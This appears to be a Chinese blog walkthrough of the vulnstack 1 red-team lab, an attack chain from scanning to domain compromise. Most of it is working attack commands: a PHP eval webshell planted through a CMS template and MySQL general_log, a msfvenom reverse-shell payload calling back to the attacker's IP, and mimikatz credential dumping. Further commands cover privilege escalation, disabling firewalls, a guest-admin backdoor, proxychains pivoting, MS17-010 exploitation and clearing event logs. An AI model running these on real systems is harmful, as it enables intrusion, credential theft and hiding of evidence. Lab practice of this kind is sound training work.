赞
踩
ATT&CK实战系列—红队实战(一)是红日安全团队出品的一个实战环境,该靶场模拟真实环境。
靶场名称: vulnstack 1
下载链接: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
靶机数量: 3
这个靶场是利用零碎的时间打的,所以ip可能不太一样,但本质不会变
所有主机密码为:hongrisec@2019
密码同一修改为:hongrisec@2021
攻击机 名称: win 10 | kali 2020 ip: 192.168.154.1 | 192.168.154.178 vm1 名称: win 7 ip: 外网:192.168.154.129 内网:192.168.52.143 vm2 名称: win 2003 ip: 192.168.52.141 vm3 名称: win 2008(域控) ip: 192.168.52.138
靶场拓扑图
网络配置
VM1(win 7)
vm2(win 2003)
vm3(win 2008)
使用上面的账号密码打开win 7靶机的服务,然后使用win 7中的浏览器访问127.0.0.1,查看服务是否开启
这个靶场打了很多次,一开始会出现很多问题,比如:
- win 7靶机中的phpstudy无法打开,记忆中是有个服务未打开
- win 7是无法直接ping的,因为打开了防火墙,只要能访问即可,如果需要可以关闭防火墙
Kali自带了arp扫描器,可以通过这个工具扫描出和自身网卡同一网段的主机
arp-scan -l #扫描网段所有主机
arp-scan -I eth0 -l #扫描指定网段所有ip
可以发现扫到了192.168.154.129的ip,访问后和win 7属于同一个页面。
nmap -sn 192.168.154.0/24
nmap -T4 -p- 192.168.154.129 #T4是扫描速度
nmap -T4 -O -sV -p- 192.168.154.129 & namp -A 192.168.154.129
#个人常用第一条,可以探测出操作系统,端口、端口服务及服务版本信息
#如果使用 参数:-A 的话会更详细,但也会更慢
不知道为什么,其他大佬都说masscan扫描快,而我的nmap扫了两个c段了masscan一个c段才扫了82.1%,而且还漏了超级多东西。
masscan 192.168.154.129 -p 0-65535
这里建议不要放过301、403等一下敏感的状态码。
python3 dirsearch.py -u "192.168.154.129"
听说这玩意比上面那两个更好,没用过。
如果想要效率更高的,就自己造车。
主要是字典要好用,一定要去重。
感觉没探测出cms来,也不知道为啥
whatweb 192.168.154.129
使用御剑web指纹识别或者大禹CMS系统识别之类的工具。
推荐下面这个页面,其他的不是要收费就是很拉胯
http://whatweb.bugscaner.com/look/
以下资料为上面大概的统计,这里可以去备份文件判断有哪些敏感路径。
正常情况下还需要收集whois信息、子域名、waf、c段、真实ip等信息。
名称 | 详细 |
---|---|
操作系统 | Windows |
服务器&编程语言 | Apache/2.4.23 & PHP/5.4.45 |
目录信息 | http://192.168.154.129/phpinfo.php http://192.168.154.129/PHPMyAdmin http://192.168.154.129/beifen.rar http://192.168.154.129/l.php |
CMS | Yxms(备份文件中判断) |
文件名为:yxcms,猜测路径为:http://192.168.154.129/yxcms
http://192.168.154.129/phpmyadmin/
http://192.168.154.129/yxcms//index.php?r=admin/index/login
还有些phpinfo、php探针等信息,这里就不列举了
在上面信息收集处看到了默认密码admin/123456
访问Yxcms的默认后台路径进行登录
http://192.168.154.129/yxcms//index.php?r=admin/index/login
看到有个前台模板,既然是模板,那应该有写入shell的地方。
点击前台模板>管理模板文件>点击编辑(选择index_index.php,因为最好找到路径)
此时可以写入一句话木马,正常这里应该是搞个免杀之类的,可以插入一些回显的信息来提供佐证。
访问主页面(http://192.168.154.129/yxcms/)可以发现主页面出现了phpinfo和一堆字符串,此刻可以用菜刀连接了,连接上了,shell也就到手了。(这里也可以用冰蝎、哥斯拉等工具)
<?php eval($_POST["cmd"]);
在配置文件中发现了数据库的账号密码root / root,访问PHPMyAdmin并使用root登录
http://192.168.154.129/phpmyadmin/
也可以勇navicat连接,这里无法连接应该是不允许远程登录
into outfile写入的条件如下:
我们是用root账户登陆了,且源码泄露和phpinfo()导致我们知道了绝对路径,就差secure_fiel_priv值为什么了。
点击SQL输入语句查看secure_file_priv,发现secure_file_priv=NULL,所以无法写如shell。
show global variables like "%secure%";
在这里插入图片描述
使用以下语句查询general_log和general_log_file信息(这里已经做了几遍,所以是已经修改过的)
show global variables like "%secure%";
可以使用下面的命令行进行修改
C:/phpStudy/WWW/a.php
set global general_log="on"; #开启日志,修改为on
set global general_log_file="C:/phpStudy/WWW/a.php"; #修改日志路径(在上面提到的phpinfo.php中有泄露路径)
在上面可以知道我们是直接将a.php写在C盘的WWW中的,所以直接访问,然后使用蚁剑连接
http://192.168.154.129/a.php
很多大佬喜欢拿到shell后就使用MSF、CS等工具。
在上面蚁剑连接后,选中指定url地址右键打开虚拟终端。
随便列了几条常用的
whoami # 查看当前用户名 whoami /all # 获取域SID ipconfig /all # 网络配置文件 route print # 打印路由信息 arp -a # 查看arp缓存,可以发现内网主机 systeminfo # 操作系统信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 操作系统、软件版本信息 systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 操作系统、软件版本信息(中文) echo %PROCESSOR_ARCHITECTURE% # 系统体系架构 wmic product get name,version # 系统安装的软件及版本信息 wmic service list brief # 本机服务信息 tasklist /v # 本机进程 net statistics workstation # 主机开机时间 schtasks /query /fo LIST /v # 计划任务 net user # 查看本地用户 net localgroup administrators # 查看本地管理员组(通常包含域用户) net user xxx # 查看指定用户详细信息
msfvenom非常强大,可以生成526种payload
1.在kali上生成shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.178 LPORT=1111 -f exe -o shell.exe
# -p为指定payload,使用msf的payload的时候要和这个相同,lhost为自己ip,lport为自己端口,-f为payload类型
2.上传到服务器上
使用蚁剑将文件上传到服务器上
3.msf开启监听
use explpit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.154.178
set lport 1111
exploit
4.在蚁剑命令行中运行shell.exe
msf配置
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http # 这里的payload要和CS的一样
msf exploit(handler) > set lhost 192.168.154.178 # msf的ip
msf exploit(handler) > set lport 9999
msf exploit(handler) > exploit
CS配置
这里payload需要选择Foreign HTTP
结果
cs打开监听,生成木马并上传到服务器上。在服务器上运行木马即可,这里上线后将心跳设置为0,方便测试
CS配置
CS开启监听,payload还是使用Beacon HTTP
msf
meterpreter > bg
msf exploit(handler) > use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http # cs监听器中相同
msf exploit(payload_inject) > set DisablePayloadHandler true # 告诉msf已建立监听,不必新建监听
msf exploit(payload_inject) > set LHOST 192.168.229.143 # cs的IP
msf exploit(payload_inject) > set LPORT 3333 # cs监听器中监听的端口
msf exploit(payload_inject) > set SESSION 1
msf exploit(payload_inject) > exploit
这里上线的都是同一台,测试的时候没反应多试了几下就这样
解决方案为查看进程并关闭
打开目标的cmd输入命令,这里使用CS
shell tasklist # 查看进程
shell taskkill /pid 4008 -t -f # /PID processid 指定要终止的进程的 PID
# -F 指定强制终止进程。
# -T 终止指定的进程和由它启用的子进程
getuid # 查看当前权限
getsystem # 提升至system
导入插件ElevateKit进行提权
这里可以发现多了system权限的win7主机
powershell和cs脚本差不多,导入脚本即可
导入的脚本为ElevateKit modules文件夹中的文件
powershell-import
powershell Invoke-MS16032 # powershell + 文件名(无须后缀)
upload # 加载exe文件
shell 文件名 shell "whoami" # 提权并执行命令
https://github.com/k8gege/K8tools/
https://github.com/SecWiki/windows-kernel-exploits/
https://github.com/rsmudge/ElevateKit
MSF中使用的是kiwi
ps
migrate 512 # 默认是加载32位的系统,所以如果目标主机是64位系统的话,需要将进程迁移到一个64位程序的进程中
load kiwi # 加载kiwi模块
creds_all # 列举系统中的明文密码
这里也可以拖过点击凭证按钮查看hash等信息
注意事项
需要system权限
可以使用上面的账号密码登录,也可以自己添加账号密码
netstat -ano | findstr "3389" # 查看端口3389是否开启
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
# 查看远程端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 允许 3389 端口放行
netsh firewall set opmode disable # Windows Server 2003 系统及之前版本
netsh advfirewall set allprofiles state off # Windows Server 2003 之后系统版本
推荐此种方法,由于此方法会自动开启系统远程桌面中的允许远程连接到此计算机并启动默认的3389端口
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
VMIC
参考上面,进入shell运行即可
Meterpretr enable_rdp模块
run post/windows/manage/enable_rdp
run multi_console_command -r <FileLocation> (文件为启用模块后的给的路径,都在/root/.msf4/loot/目录下)
Meterpreter getgui模块
Meterpreter getgui模块中启用(关闭在启动信息中有说明上)
enable_rdp模块和 getgui模块测试的时候,只能启用并禁用一次,再次启用无效
以下为了学习就尽量不使用msf和cs了
这里所创建的用户没有隐藏
shell net user # 查看本机用户
net user guest /active:yes # 激活guest
shell net user guest Aa123456 # 给Guest用户设置密码
shell net localgroup administrator guest /add # 将guest加入到管理员中
这里还可以采用其它权限维持的方法,比如shift后门、注册表后门、计划后门、白银黄金票据等
run post/multi/manage/autoroute # 添加路由,使msf可以访问内网,如果不添加,只能是meterpreter才能访问
run autoroute -p # 查看路由
bg
use auxiliary/server/socks4a # 使用socks4a进行代理,socks5出bug是用不了
exploit
jobs # 查看运行情况
vi /etc/proxychains4.conf # 配置proxychains4
socks4 127.0.0.1 1080 # 这里的ip需要跟上面的socks4a模块一致
proxychains4 curl http://ip/phpmyadmin # 使用proxychains4代理访问被控主机,查看是否能使用
ipconfig/all
查看DNS服务器
发现DNS服务器为god.org
,使用net view
查看域信息,发现三台主机
net view /domain
查看主域信息
net time /domain
查看时间服务器
若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户;如果报错其它信息,需要重启一下win7(win7需要比域控晚开启才可以)
net config workstation
查询当前的登录域与用户信息(这里需要使用域用户,既未提权之前的用户)
nslookup god.org
利用 nslookup 命令直接解析域名服务器
net user /domain
查看当前域的所有用户
wmic useraccount get /all
获取域内用户的详细信息,可以获取到用户名,描述信息,SID 域名等
net group "domain computers" /domain
查看所有域成员计算机列表
net group "domain admins" /domain
查看域管理员
使用msf模块扫描存活的主机,这里需要注意的是proxychains4只支持支持socks,http, https协议,它们都是以tcp或者udp协议为基础,而 ping用的是ICMP协议,所以使用nmap -sn
是无法扫出来的,可以使用udp和tcp协议扫
use auxiliary/scanner/netbios/nbname # 使用模块扫描存活主机
set rhosts 192.168.52.0/24
这里使用net view
可以查看内网情况
点击圈起来的地方即可查看到内网信息
这里的ROOT-TVxxxx和OWA好像都有点小错误,应该是环境的问题
这个才是正常的情况
扫描141
的时候发现开了445端口,尝试使用MS17_010
proxychains4 nmap -p 1-1000 -Pn -sT 192.168.52.141
use auxiliary/scanner/smb/smb_version 使用模块判断版本
版本显示为win 2003,使用ms17_010
执行ipconfig命令,发现返回了数据,后续可以用powershell等方法反弹cmd.exe
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command 命令
exploit
方法和141渗透一样
meterperter自带清除日志功能:
clearev #清除windows中的应用程序日志、系统日志、安全日志
清除recent:
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\Users\Administrator\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\Recent*.*
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。